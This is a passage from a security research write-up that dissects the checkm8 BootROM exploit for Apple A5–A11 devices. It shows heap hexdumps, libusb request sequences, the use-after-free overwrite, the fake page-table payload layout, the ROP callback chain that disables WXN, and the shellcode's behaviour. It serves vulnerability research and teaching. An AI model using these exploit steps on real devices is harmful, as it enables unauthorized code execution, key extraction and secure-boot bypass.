5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
You can also achieve an interesting effect by overflowing the configuration descriptors High Speed
and Full Speed
that are located right after the IO
buffer. One of the fields of a configuration descriptor is responsible for its overall length. By overflowing this field, we can read beyond the descriptor. You can try and do it yourself by modifying the exploit.
2. Allocation and freeing of the IO buffer without clearing the global state
device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device)
At this stage, an incomplete OUT
request for uploading the image is created. At the same time, a global state is initialized, and the address of the buffer in the heap is written to the io_buffer
. Then, DFU
is reset with a DFU_CLR_STATUS
request, and a new iteration of DFU
begins.
3. Overwriting usb_device_io_request
in the heap with use-after-free
device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)
At this stage, a usb_device_io_request
type object is allocated in the heap, and it is overflown with t8010_overwrite
, whose content was defined at the first stage.
The values of t8010_nop_gadget
and 0x1800B0800
should overflow the fields callback
and next
of the usb_device_io_request
structure.
t8010_nop_gadget
is shown below and conforms to its name, but besides function return, the previous LR
register is restored, and because of that the call free
is skipped after the callback
function in usb_core_complete_endpoint_io
. This is important, because we damage the heap's metadata due to overflow, which would affect the exploit in case of a freeing attempt.
bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET
next
points to INSECURE_MEMORY + 0x800
. Later, INSECURE_MEMORY
will store the exploit's payload, and at the offset of 0x800
in the payload, there is a callback-chain
, which we'll discuss later on.
4. Placing the payload
for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50)
At this stage, every following packet is put into the memory area allocated for the image. The payload looks like this:
0x1800B0000: t8010_shellcode # initializing shell-code ... 0x1800B0180: t8010_handler # new usb request handler ... 0x1800B0400: 0x1000006a5 # fake translation table descriptor # corresponds to SecureROM (0x100000000 -> 0x100000000) # matches the value in the original translation table ... 0x1800B0600: 0x60000180000625 # fake translation table descriptor # corresponds to SecureRAM (0x180000000 -> 0x180000000) # matches the value in the original translation table 0x1800B0608: 0x1800006a5 # fake translation table descriptor # new value translates 0x182000000 into 0x180000000 # plus, in this descriptor,there are rights for code execution 0x1800B0610: disabe_wxn_arm64 # code for disabling WXN 0x1800B0800: usb_rop_callbacks # callback-chain
5. Execution of callback-chain
dfu.usb_reset(device) dfu.release_device(device)
After USB
reset, the loop of canceling incomplete usb_device_io_request
in the queue by going through a linked list is started. In the previous stages, we replaced the rest of the queue, which allows us to control the callback
chain. To build this chain, we use this gadget:
bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET
As you can see, at the offset of 0x70
from the pointer to the structure, the call's address and its first argument are loaded. With this gadget, we can easily make any f(x)
type calls for arbitrary f
and x
.
The entire call chain can be easily emulated with Unicorn Engine
. We did it with our modified version of the plugin uEmu .

The results of the entire chain for iPhone 7
can be found below.
5.1. dc_civac 0x1800B0600
000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET
Clearing and invalidating the processor's cache at a virtual address. This will make the processor address our payload later.
5.2. dmb
0000000100000478: DMB SY 000000010000047C: RET
A memory barrier that guarantees the completion of all operations with the memory done before this instruction. Instructions in high-performance processors can be executed in an order different from the programmed one for the purpose of optimization.
5.3. enter_critical_section()
Then, interrupts are masked for the atomic execution of further operations.
5.4. write_ttbr0(0x1800B0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET
A new value of the table register TTBR0_EL1
is set in 0x1800B0000
. It is the address of INSECURE MEMORY
where the exploit's payload is stored. As was mentioned before, the translation descriptors are located at certain offsets in the payload:
... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ...
5.5. tlbi
0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET
The translation table is invalidated in order to translate addresses according to our new translation table.
5.6. 0x1820B0610 - disable_wxn_arm64
MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET
WXN
(Write permission implies Execute-never) is disabled to allow us execute code in RW
memory. The execution of the WXN
disabling code is possible due to the modified translation table.
5.7. write_ttbr0(0x1800A0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET
The original value of the TTBR0_EL1
translation register is restored. It is necessary for the correct operation of BootROM
during the translation of virtual addresses because the data in INSECURE_MEMORY
will be overwritten.
5.8. tlbi
The translation table is reset again.
5.9. exit_critical_section()
Interrupt handling is back to normal.
5.10. 0x1800B0000
Control is transferred to the initializing shellcode
.
Thus, the main task of callback-chain
is to disable WXN
and transfer control to the shellcode
in RW
memory.
6. Execution of shellcode
The shellcode
is in src/checkm8_arm64.S
and does the following:
6.1. Overwriting USB
configuration descriptors
In the global memory, two pointers to configuration descriptors usb_core_hs_configuration_descriptor
and usb_core_fs_configuration_descriptor
located in the heap are stored. In the third stage, these descriptors were damaged. They are necessary for the correct interaction with a USB
device, so the shellcode
restores them.
6.2. Changing USBSerialNumber
A new string descriptor with a serial number is created with a substring " PWND:[checkm8]"
added to it. This will help us understand if the exploit was successful.
6.3. Overwriting the pointer of the USB
request handler
The original pointer to the handler of USB
requests to the interface is overwritten by a pointer to a new handler, which will be placed in the memory at the next step.
6.4. Copying USB
request handler into TRAMPOLINE
memory area ( 0x1800AFC00
)
Upon receiving a USB
request, the new handler checks the wValue
of the request against 0xffff
and if they're not equal, it transfers control back to the original handler. If they are equal, various commands can be executed in the new handlers, like memcpy
, memset
, and exec
(calling an arbitrary address with an arbitrary set of arguments).
Thus, the analysis of the exploit is complete.
The implementation of the exploit at a lower level of working with USB
As a bonus and an example of the attack at lower levels, we published a Proof-of-Concept of the checkm8
implementation on Arduino
with USB Host Shield
. The PoC works only for iPhone 7
but can be easily ported to other devices. When an iPhone 7
in DFU
mode is connected to USB Host Shield
, all the steps described in this article will be executed, and the device will enter PWND:[checkm8]
mode. Then, it can be connected to a PC via USB
to work with it using ipwndfu (to dump memory, use crypto keys, etc.). This method is more stable than using asynchronous requests with a minimal timeout because we work directly with the USB
controller. We used the USB_Host_Shield_2.0 library. It needs minor modifications; the patch file is also in the repository.
In place of a conclusion
Analyzing checkm8
was very interesting. We hope that this article will be useful for the community and will motivate new research in this area. The vulnerability will continue to influence the jailbreak community. A jailbreak based on checkm8
is already being developed — checkra1n , and since the vulnerability is unfixable, it will always work on vulnerable chips ( A5
to A11
) regardless of the iOS version. Plus, there are many vulnerable devices, like iWatch
, Apple TV
, etc. We expect more interesting projects for Apple devices to come.
Besides jailbreak, this vulnerability will also influence the researchers of Apple devices. With checkm8
, you can already boot iOS
devices in verbose mode, dump SecureROM
, or use the GID
key to decrypt firmware images. Although, the most interesting application for this exploit would be entering debug mode on vulnerable devices with a special JTAG/SWD cable . Before that, it could only be done with special prototypes that are extremely hard to get or with the help of special services . Thus, with checkm8
, Apple
research becomes way easier and cheaper.
References
- Jonathan Levin, *OS Internals: iBoot
- Apple, iOS Security Guide
- littlelailo, apollo.txt
- usb.org
- USB in a NutShell
- ipwndfu
- an ipwndfu fork from LinusHenze